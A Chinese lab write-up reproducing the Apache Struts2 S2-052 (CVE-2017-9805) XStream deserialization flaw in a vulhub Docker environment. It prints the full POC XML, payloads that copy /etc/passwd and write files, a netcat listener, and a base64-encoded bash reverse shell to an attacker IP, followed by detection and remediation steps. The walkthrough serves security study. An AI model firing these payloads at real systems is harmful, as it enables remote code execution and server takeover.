🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
一、漏洞编号
s2-052
CVE-2017-9805
二、影响范围
Struts 2.1.6 - Struts 2.3.33
Struts 2.5 - Struts 2.5.12
三、漏洞描述
Apache Struts2的REST插件存在远程代码执行的高危漏洞,其编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
四、环境搭建
1、进入s2-052环境
cd vulhub/struts2/s2-052
2、启动s2-052环境
docker-compose up -d
3、查看s2-052环境
docker-composeps
4、访问s2-052环境
http://192.168.233.128:8080/orders
5、查看s2-052漏洞提示信息
cat README.md
6、关闭s2-052环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、POC
<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command>
命令插入区域
</command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>
2、进入漏洞页面
http://192.168.233.128:8080/orders
3、进入漏洞点抓包
点击一个edit进行编译页面,然后提交,并用burp抓包,放入重放攻击模块。
抓到的数据包如下
4、创建文件
1.修改数据包在/tmp目录下创建PowerShell.txt文件
Content-Type: application/x-www-form-urlencoded 修改为:
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command><string>touch</string><string>/tmp/PowerShell.txt</string></command>
2.进行重放攻击
返回500状态码,但是文件已经创建成功
3.PowerShell.txt文件创建成功
进入容器查看,发现PowerShell.txt文件创建成功
dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp
5、读取文件
1.修改数据包进行重放攻击
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command><string>cp</string><string>/etc/passwd</string><string>/tmp/passwd</string></command>
2.读取文件成功
进入容器查看文件是否写入成功
dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/passwd
6、写文件
1.修改数据包进行重放攻击
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command><string>bash</string><string>-c</string><string>echo micr067 > /tmp/test.txt</string></command>
2.文件写入成功
进入容器查看文件是否写入成功
dockerpsdockerexec-it f3bcbfbef902 /bin/bash
ls /tmp
cat /tmp/test.txt
六、getshell
1、攻击机监听
nc-lvvp55555
Nc反弹shell在文末给出
2、靶机连接
1.反弹shell命令
Bash反弹shell详解在文末给出
bash-i>& /dev/tcp/192.168.233.1/55555 0>&1
2.exec编码
编码工具在文末给出
bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}
3.构造payload
Content-Type: application/x-www-form-urlencoded 修改为
Content-Type: application/xml
post数据做如下修改:
下面的command就是反序列化出来的命令执行,把他插入到POC中
<command><string>bash</string><string>-c</string><string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}</string></command>
4.执行命令
直接进行重放攻击
3、getshell成功
等了一小会儿之后发现shell反弹过来了
执行ls /tmp发现我们之前创建的文件
七、脚本检测
检测脚本CVE-2017-9805_POC.py在文末给出。
当状态是 Status: Vulnerable!时就存在漏洞。
1、单个url检测
python CVE-2017-9805_POC.py -u http://192.168.233.128:8080/orders/3/edit
2、批量url检测
python CVE-2017-9805_POC.py --list url.txt
八、漏洞修复
1、升级到Apache Struts版本到最新版本
2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:3、限制服务端扩展类型,删除XML支持。
由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider
九、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具
7、检测脚本CVE-2017-9805_POC.py
版权归原作者 _PowerShell 所有, 如有侵权,请联系我们删除。